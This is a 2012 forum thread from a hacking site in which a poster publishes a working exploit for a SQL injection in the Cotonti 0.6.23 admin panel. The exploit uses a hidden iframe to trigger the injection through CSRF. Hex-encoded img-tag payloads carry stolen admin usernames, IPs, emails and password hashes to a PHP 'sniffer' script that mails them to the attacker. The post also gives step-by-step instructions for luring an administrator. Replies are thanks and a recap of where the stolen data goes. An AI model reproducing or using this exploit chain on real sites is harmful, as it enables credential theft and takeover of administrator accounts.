Anti-armenia.ORG - Forumlar - cotonti-0.6.23 SQL Injection



Istifadəçi
    2012-06-21 22:23 GMT                 

BlackMinD



Pr0grammer
Mesaj Sayı : 1677
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   62  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : KARABAKH IS AZERBAIJAN!
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Salam Aleykum bir daha)
Bundan öncə seditio da tapdığım vuln Cotontidə də mövcuddur.
Vuln yenə də adminkadadır.Amma bu bizim üçün problem deyil ADi CSRF ilə login : passı sakitcə çekə bilərik)

http://s019.radikal.ru/i624/1206/50/e2969a4611c3.png


Ürəyi istəyən sadə php skript vasitəsilə yeri gəlsə tam sed_users table-ını dumplaya da bilər verdiyim metodla.
Məhz burada verdiyim exploiting seditioda da eynidir.
Enjoy)


Kod:
==================================================================
Vulnerable Software: cotonti-0.6.23
Official Site: http://www.cotonti.com/
Tested version: http://cotonti.googlecode.com/files/cotonti-0.6.23.7z
==================================================================
About Software:

Cotonti is a powerful open-source web development framework and content manager with
a focus on security, speed and flexibility.
==================================================================
Tested on:
*php.ini MAGIC_QUOTES_GPC OFF*
Safe mode off
/*
OS: Windows XP SP2 (32 bit)
Apache: 2.2.21.0
PHP Version: 5.2.17.17
MYSQL:  5.5.25
*/

==================================================================
Vuln Desc:
cotonti-0.6.23 is vulnerable to Remote SQL injection vuln.
==================================================================

Yet I discovered this vuln in seditio 170 version.
But now i noticed same vuln also affects cotonti-0.6.23 and some previous versions.

Remember folks: SQL Injection in administration panel it doesn't means we can't exploit.It isn't Panacea anymore.


Below is fully functional and mixed exploits collection to exploit this vuln and steal admin credentials.
BTW,depends on your fantasy this vuln also can be used to create in eg: XSS =Steal ANTICSRF tokens=Phish,
completely dump sed_users table (simple loop and where user_id=INCREMENTED_ID) will do all this things for you.
Anyways... I'll show  to you how to steal (username,IP,email address,password) from database and silently mail out all this stuff.

Here we go:
==================================================================

Generating Payload:

Payload 1:
#We need to create "link" to our snifer#
mysql> select hex('<img src="http://192.168.0.15/learn/traffic.php?getpwned=') \g
+--------------------------------------------------------------------------------------------------------------------+
| hex('<img src="http://192.168.0.15/learn/traffic.php?getpwned=')                                                   |
+--------------------------------------------------------------------------------------------------------------------+
| 3C696D67207372633D22687474703A2F2F3139322E3136382E302E31352F6C6561726E2F747261666669632E7068703F67657470776E65643D |
+--------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)


Payload 2:
#Here we'll close <img tag#
mysql> select hex('" heigth=0 width=0 />') \g
+--------------------------------------------+
| hex('" heigth=0 width=0 />')               |
+--------------------------------------------+
| 22206865696774683D302077696474683D30202F3E |
+--------------------------------------------+
1 row in set (0.00 sec)
==================================================================

==================================================================
Snifer:

//traffic.php

================BEGIN traffic.php===============
<?php
error_reporting(0);
if (isset($_GET['getpwned']))
{
$nastycookies=htmlentities(str_ireplace('\'','',$_GET['getpwned']));//some bugfixes xD//
$sendto='YOUR_EMAIL@GOES_HERE';//your mail address.//
@mail($sendto,'Your nAsty cookies',PHP_EOL .$nastycookies);//sending mail to you//
}
?>

================EOF traffic.php=================



And now...
We'll attach the following SQL Injection exploit to our malicious page(to PAGE1.HTML)
Exploit:
============== SQL INJECTION EXPLOIT====================
http://target_site.tld/admin.php?m=hits&f=year&v=1' union select 1,concat(0x3C696D67207372633D22687474703A2F2F3139322E3136382E302E31352F6C6561726E2F747261666669632E7068703F67657470776E65643D,user_name,0x7c,user_lastip,0x7c,user_email,0x7c,user_password,0x22206865696774683D302077696474683D30202F3E) from sed_users where user_id=1-- AND 1='1

============== EOF SQL INJECTION EXPLOIT================


======================================================


Creating malicious page which will do all this things for us:

================= PAGE1.HTML====================

<!DOCTYPE HTML>
<html>
<head>
<title></title>

<style type="text/css">
body
{
background-color:white;
color:red;
}
img
{
position:absolute;
top:20px;
}

iframe
{
position:absolute;
background-color:black;
color:black;
visibility:hidden;
}
</style>
</head>
<body>

<h1>Congrats! You have been PwNeD ;)</h1>


<iframe src="http://target_site.tld/admin.php?m=hits&f=year&v=1' union select 1,concat(0x3C696D67207372633D22687474703A2F2F3139322E3136382E302E31352F6C6561726E2F747261666669632E7068703F67657470776E65643D,user_name,0x7c,user_lastip,0x7c,user_email,0x7c,user_password,0x22206865696774683D302077696474683D30202F3E) from sed_users where user_id=1-- AND 1='1" />


</body>
</html>
================ EOF PAGE1.HTML==================

################################################################
Steps to exploiting:
1) Register on target site.
2) Send url (to your page1.html)(aka malicious page) to admin throught private message.(Theris a lot ways)
3) When admin will follow your malicious link to page1.html he/she will be PwnEd ASAP.And you will receive stealed
staff (username,IP,email address,password) via mail.
Something like this: http://s019.radikal.ru/i624/1206/50/e2969a4611c3.png
################################################################

Thats All.

See you all soon;)


+++++++++My Special thanks to:+++++++++++++++++++++
packetstormsecurity.org
packetstormsecurity.com
packetstormsecurity.net
securityfocus.com
cxsecurity.com
security.nnov.ru
securtiyvulns.com
securitylab.ru
1337day.com
secunia.com
securityhome.eu
exploitsdownload.com
to all AA Team + to all Azerbaijan Black HatZ +
           *Especially to my bro CAMOUFL4G3.*
++++++++++++++++++++++++++++++++++++++++++++++++

Respect && Thank you.

/AkaStep ^_^

Ana VƏTƏN!
Anti-armenia.ORG
    

Istifadəçi
    2012-06-21 23:37 GMT                 

MetaizM



Gold
Mesaj Sayı : 175
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   5  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Təşəkkülər bro

Anti-armenia.ORG
    

Istifadəçi
    2012-06-22 15:45 GMT                 

CwGhost



VIP
Mesaj Sayı : 160
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   4  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Baku
Ölkə :
Məslək : CwGhost
Yaş :
Mesaj :

Mövzunu Paylaş!


təşəkkürlər

http://s017.radikal.ru/i404/1202/c6/a2947080a3c4.png
Anti-armenia.ORG
    

Istifadəçi
    2012-06-22 15:57 GMT                 

ikus4



VIP
Mesaj Sayı : 81
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   2  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək : ikus4
Yaş :
Mesaj :

Mövzunu Paylaş!


Təşəkkürlər Great Work

Anti-armenia.ORG
    

Istifadəçi
    2012-06-22 15:58 GMT                 

M4NY3T!K



Gold
Mesaj Sayı : 606
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   7  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Naxçıvan
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Təşəkkür Bro

http://s017.radikal.ru/i404/1202/c6/a2947080a3c4.png
Anti-armenia.ORG
    

Istifadəçi
    2012-06-22 16:36 GMT                 

B0T_25



Gold
Mesaj Sayı : 167
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   7  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Təşəkkür Bro

Anti-armenia.ORG
    

Istifadəçi
    2012-06-23 21:35 GMT                 

substring



VIP
Mesaj Sayı : 73
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   3  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər :
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


oooo kreativ fikirdi,eksplotasiya xoşuma gəldi )) respect bro

Anti-armenia.ORG
    

Istifadəçi
    2012-06-23 21:37 GMT                 

BlackMinD



Pr0grammer
Mesaj Sayı : 1677
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   62  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : KARABAKH IS AZERBAIJAN!
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Təşəkkürlər bro's hər birinizə
Respect

Ana VƏTƏN!
Anti-armenia.ORG
    

Istifadəçi
    2012-07-05 03:58 GMT                 

Avatar Fearless



VIP
Mesaj Sayı : 1299
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   23  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Gävle
Ölkə :
Məslək : Hacker,Defacer,Programmer
Yaş : 26
Mesaj :

Mövzunu Paylaş!


Anladığım qədərin Yazım :
Traffic.php yaradırıq içinə kodları yapışdırırıq. Sonra page1.html yaradırıq editləyirik özümüz üçün Admin girən kimi page1.html-ə loglar əlində. Mənə maraqlı olan bu loglar hara düşür ? Bu arada Vuln Gözəl Tapıntıdır Əllərinə Sağlıq Təşəkkürlər

http://s017.radikal.ru/i404/1202/c6/a2947080a3c4.png
Anti-armenia.ORG
    

Istifadəçi
    2012-07-07 01:09 GMT                 

BlackMinD



Pr0grammer
Mesaj Sayı : 1677
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   62  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : KARABAKH IS AZERBAIJAN!
Ölkə :
Məslək :
Yaş :
Mesaj :

Mövzunu Paylaş!


Bu loglar mailə göndərilir o traffic.php dəki göstərdiyin mailə.

Ana VƏTƏN!
Anti-armenia.ORG
    

Istifadəçi
    2012-07-07 01:23 GMT                 

Avatar Fearless



VIP
Mesaj Sayı : 1299
Mövzu Sayı :
Rep Ver : 
Rep Sayı :   23  
Indi Saytda : Durum
Cinsiyyət : Oğlan
Şəhər : Gävle
Ölkə :
Məslək : Hacker,Defacer,Programmer
Yaş : 26
Mesaj :

Mövzunu Paylaş!


Kod:
$sendto='YOUR_EMAIL@GOES_HERE';//your mail address.//

Gördüm Təşəkkürlər

http://s017.radikal.ru/i404/1202/c6/a2947080a3c4.png
Anti-armenia.ORG